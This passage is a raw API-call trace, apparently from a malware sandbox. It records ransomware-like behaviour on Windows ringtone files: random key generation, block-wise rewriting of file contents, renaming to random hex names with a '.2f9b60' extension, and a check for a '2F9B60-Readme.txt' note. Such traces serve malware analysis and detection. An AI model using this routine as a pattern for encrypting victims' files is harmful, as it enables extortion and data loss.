returned 1 [0228.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf830 [0228.078] SetFilePointerEx (in: hFile=0x2834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.078] WriteFile (in: hFile=0x2834, lpBuffer=0x134680*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3d03fc30, lpOverlapped=0x0 | out: lpBuffer=0x134680*, lpNumberOfBytesWritten=0x3d03fc30*=0x150, lpOverlapped=0x0) returned 1 [0234.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0234.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0234.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1fd40 [0234.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1fd40) returned 1 [0234.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42c1fd40 [0234.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1fd10 [0234.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1fc50 [0234.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1fc50) returned 1 [0234.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0234.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0234.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce62280 [0234.277] sprintf (in: _Dest=0x1ce62280, _Format="%c%c" | out: _Dest="dd") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62282, _Format="%c%c" | out: _Dest="99") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62284, _Format="%c%c" | out: _Dest="b4") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62286, _Format="%c%c" | out: _Dest="d7") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62288, _Format="%c%c" | out: _Dest="0d") returned 2 [0234.277] sprintf (in: _Dest=0x1ce6228a, _Format="%c%c" | out: _Dest="6d") returned 2 [0234.277] sprintf (in: _Dest=0x1ce6228c, _Format="%c%c" | out: _Dest="ba") returned 2 [0234.277] sprintf (in: _Dest=0x1ce6228e, _Format="%c%c" | out: _Dest="8a") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62290, _Format="%c%c" | out: _Dest="89") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62292, _Format="%c%c" | out: _Dest="f4") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62294, _Format="%c%c" | out: _Dest="03") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62296, _Format="%c%c" | out: _Dest="cf") returned 2 [0234.277] sprintf (in: _Dest=0x1ce62298, _Format="%c%c" | out: _Dest="10") returned 2 [0234.277] sprintf (in: _Dest=0x1ce6229a, _Format="%c%c" | out: _Dest="09") returned 2 [0234.277] sprintf (in: _Dest=0x1ce6229c, _Format="%c%c" | out: _Dest="26") returned 2 [0234.277] sprintf (in: _Dest=0x1ce6229e, _Format="%c%c" | out: _Dest="a1") returned 2 [0234.277] sprintf (in: _Dest=0x1ce622a0, _Format="%c%c" | out: _Dest="4d") returned 2 [0234.277] sprintf (in: _Dest=0x1ce622a2, _Format="%c%c" | out: _Dest="2e") returned 2 [0234.277] sprintf (in: _Dest=0x1ce622a4, _Format="%c%c" | out: _Dest="6e") returned 2 [0234.277] sprintf (in: _Dest=0x1ce622a6, _Format="%c%c" | out: _Dest="83") returned 2 [0234.277] sprintf (in: _Dest=0x1ce622a8, _Format="%c%c" | out: _Dest="22") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622aa, _Format="%c%c" | out: _Dest="02") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622ac, _Format="%c%c" | out: _Dest="81") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622ae, _Format="%c%c" | out: _Dest="de") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622b0, _Format="%c%c" | out: _Dest="de") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622b2, _Format="%c%c" | out: _Dest="5f") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622b4, _Format="%c%c" | out: _Dest="e8") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622b6, _Format="%c%c" | out: _Dest="85") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622b8, _Format="%c%c" | out: _Dest="ab") returned 2 [0234.278] sprintf (in: _Dest=0x1ce622ba, _Format="%c%c" | out: _Dest="fb") returned 2 [0234.278] RtlInitAnsiString (in: DestinationString=0x3d03fca8, SourceString="dd99b4d70d6dba8a89f403cf100926a14d2e6e83220281dede5fe885abfb" | out: DestinationString="dd99b4d70d6dba8a89f403cf100926a14d2e6e83220281dede5fe885abfb") [0234.278] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d03fc78, SourceString="dd99b4d70d6dba8a89f403cf100926a14d2e6e83220281dede5fe885abfb", AllocateDestinationString=1 | out: DestinationString="dd99b4d70d6dba8a89f403cf100926a14d2e6e83220281dede5fe885abfb") returned 0x0 [0234.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4d650 [0234.279] wcscat (in: _Dest=0x202ae5c0, _Source="dd99b4d70d6dba8" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dd99b4d70d6dba8") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dd99b4d70d6dba8" [0234.279] wcscat (in: _Dest=0x202ae5c0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dd99b4d70d6dba8.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dd99b4d70d6dba8.2f9b60" [0234.279] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dd99b4d70d6dba8.2f9b60", NtPathName=0x3d03fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\dd99b4d70d6dba8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0234.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050b7f0 [0237.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b7f0) returned 1 [0237.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307a990) returned 1 [0237.997] NtQueryInformationFile (in: FileHandle=0x2834, IoStatusBlock=0x3d03fcb8, FileInformation=0x3d03fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d03fcb8, FileInformation=0x3d03fcc8) returned 0x0 [0237.997] NtSetInformationFile (FileHandle=0x2834, IoStatusBlock=0x3d03fcb8, FileInformation=0x3d03fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae5c0) returned 1 [0240.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d650) returned 1 [0240.342] FlushFileBuffers (hFile=0x2834) returned 1 [0240.630] CloseHandle (hObject=0x2834) returned 1 [0242.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x431d9bf0 [0242.963] wcscpy (in: _Dest=0x431d9bf0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0242.963] wcscat (in: _Dest=0x431d9bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" [0242.963] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt")) returned 0x2020 [0242.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9bf0) returned 1 [0242.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420603b0) returned 1 Thread: id = 2698 os_tid = 0x2294 [0157.729] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma")) returned 0x20 [0159.610] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma", dwFileAttributes=0x20) returned 1 [0159.622] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2854 [0159.627] GetFileSizeEx (in: hFile=0x2854, lpFileSize=0x3d16f860 | out: lpFileSize=0x3d16f860*=112353) returned 1 [0159.627] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x1b6dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.628] ReadFile (in: hFile=0x2854, lpBuffer=0x3d16f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d16f828, lpOverlapped=0x0 | out: lpBuffer=0x3d16f7e0*, lpNumberOfBytesRead=0x3d16f828*=0x4, lpOverlapped=0x0) returned 1 [0160.698] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1580 [0160.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1610 [0160.699] NtQuerySystemTime (in: CurrentTime=0x3d16f720 | out: CurrentTime=0x3d16f720*=132462177658354000) returned 0x0 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x50aa971c [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x33045890 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x6328bf11 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x12c54f08 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x5c02a425 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x610f4674 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x63b932c5 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x2ced0b8e [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x6d65de7d [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x2a3b9772 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x56e8fcb5 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x18a99aef [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x2efede98 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x70c8e2b0 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x201feb87 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x752d91ff [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x1442ad2c [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x6328bf11 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x42cbbbc5 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x4186228 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x48988f6b [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x461ac9d7 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x3dc17041 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x57552fc1 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x7cfbf820 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x79e99248 [0160.699] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x7cf59ba [0160.700] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x2a7e52bb [0160.700] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x47ec8b07 [0160.700] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x438586b6 [0160.700] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x55ef3efc [0160.700] RtlRandomEx (in: Seed=0x3d16f710 | out: Seed=0x3d16f710) returned 0x39e778c9 [0160.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1640 [0160.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1670 [0160.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0160.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1610) returned 1 [0160.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423100b0 [0160.708] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.708] ReadFile (in: hFile=0x2854, lpBuffer=0x423100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d16f780, lpOverlapped=0x0 | out: lpBuffer=0x423100b0*, lpNumberOfBytesRead=0x3d16f780*=0x3c00, lpOverlapped=0x0) returned 1 [0161.184] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c20 [0161.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c20) returned 1 [0161.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201978d0 [0161.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c20 [0161.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3c50 [0161.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3c50) returned 1 [0161.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.186] WriteFile (hFile=0x2854, lpBuffer=0x201978d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d16f780, lpOverlapped=0x0) [0198.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201978d0) returned 1 [0198.347] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.347] ReadFile (in: hFile=0x2854, lpBuffer=0x423100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d16f780, lpOverlapped=0x0 | out: lpBuffer=0x423100b0*, lpNumberOfBytesRead=0x3d16f780*=0x3c00, lpOverlapped=0x0) returned 1 [0199.022] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bef0 [0199.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bef0) returned 1 [0199.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42371d40 [0199.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bef0 [0199.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bf20 [0199.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bf20) returned 1 [0199.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.026] WriteFile (in: hFile=0x2854, lpBuffer=0x42371d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d16f780, lpOverlapped=0x0 | out: lpBuffer=0x42371d40*, lpNumberOfBytesWritten=0x3d16f780*=0x3c00, lpOverlapped=0x0) returned 1 [0214.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42371d40) returned 1 [0214.232] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x17ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.232] ReadFile (in: hFile=0x2854, lpBuffer=0x423100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d16f780, lpOverlapped=0x0 | out: lpBuffer=0x423100b0*, lpNumberOfBytesRead=0x3d16f780*=0x3c00, lpOverlapped=0x0) returned 1 [0214.233] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x17ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0214.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1340) returned 1 [0214.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42371d40 [0214.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1340 [0214.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1370 [0214.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1370) returned 1 [0214.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.237] WriteFile (in: hFile=0x2854, lpBuffer=0x42371d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d16f780, lpOverlapped=0x0 | out: lpBuffer=0x42371d40*, lpNumberOfBytesWritten=0x3d16f780*=0x3c00, lpOverlapped=0x0) returned 1 [0228.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42371d40) returned 1 [0228.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cdded40 [0228.076] SetFilePointerEx (in: hFile=0x2854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.076] WriteFile (in: hFile=0x2854, lpBuffer=0x134940*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3d16f830, lpOverlapped=0x0 | out: lpBuffer=0x134940*, lpNumberOfBytesWritten=0x3d16f830*=0x150, lpOverlapped=0x0) returned 1 [0232.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0232.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0232.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1040 [0232.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1040) returned 1 [0232.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x423a1040 [0232.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1010 [0232.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fb0 [0232.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0fb0) returned 1 [0232.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0232.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0232.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61e70 [0232.855] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="55") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="8c") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="9d") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="40") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="4e") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="75") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="45") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="74") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="8e") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="24") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="5a") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="74") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="43") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="f2") returned 2 [0232.855] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="45") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="14") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="06") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="30") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="71") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="94") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="e7") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="0f") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="41") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="db") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="9a") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="d9") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="57") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="b4") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="05") returned 2 [0232.856] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="23") returned 2 [0232.856] RtlInitAnsiString (in: DestinationString=0x3d16f8a8, SourceString="558c9d404e7545748e245a7443f2451406307194e70f41db9ad957b40523" | out: DestinationString="558c9d404e7545748e245a7443f2451406307194e70f41db9ad957b40523") [0232.856] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d16f878, SourceString="558c9d404e7545748e245a7443f2451406307194e70f41db9ad957b40523", AllocateDestinationString=1 | out: DestinationString="558c9d404e7545748e245a7443f2451406307194e70f41db9ad957b40523") returned 0x0 [0232.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x20509d50 [0232.857] wcscat (in: _Dest=0x2050b460, _Source="558c9d404e75457" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\558c9d404e75457") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\558c9d404e75457" [0232.857] wcscat (in: _Dest=0x2050b460, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\558c9d404e75457.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\558c9d404e75457.2f9b60" [0232.857] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\558c9d404e75457.2f9b60", NtPathName=0x3d16f850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\558c9d404e75457.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0232.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f3850 Thread: id = 2699 os_tid = 0x2298 [0157.730] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma")) returned 0x20 [0159.550] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma", dwFileAttributes=0x20) returned 1 [0159.622] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2850 [0159.629] GetFileSizeEx (in: hFile=0x2850, lpFileSize=0x3c8cf880 | out: lpFileSize=0x3c8cf880*=94457) returned 1 [0159.629] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x170f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.629] ReadFile (in: hFile=0x2850, lpBuffer=0x3c8cf800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c8cf848, lpOverlapped=0x0 | out: lpBuffer=0x3c8cf800*, lpNumberOfBytesRead=0x3c8cf848*=0x4, lpOverlapped=0x0) returned 1 [0160.652] SetFilePointerEx (in: hFile=0x2850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 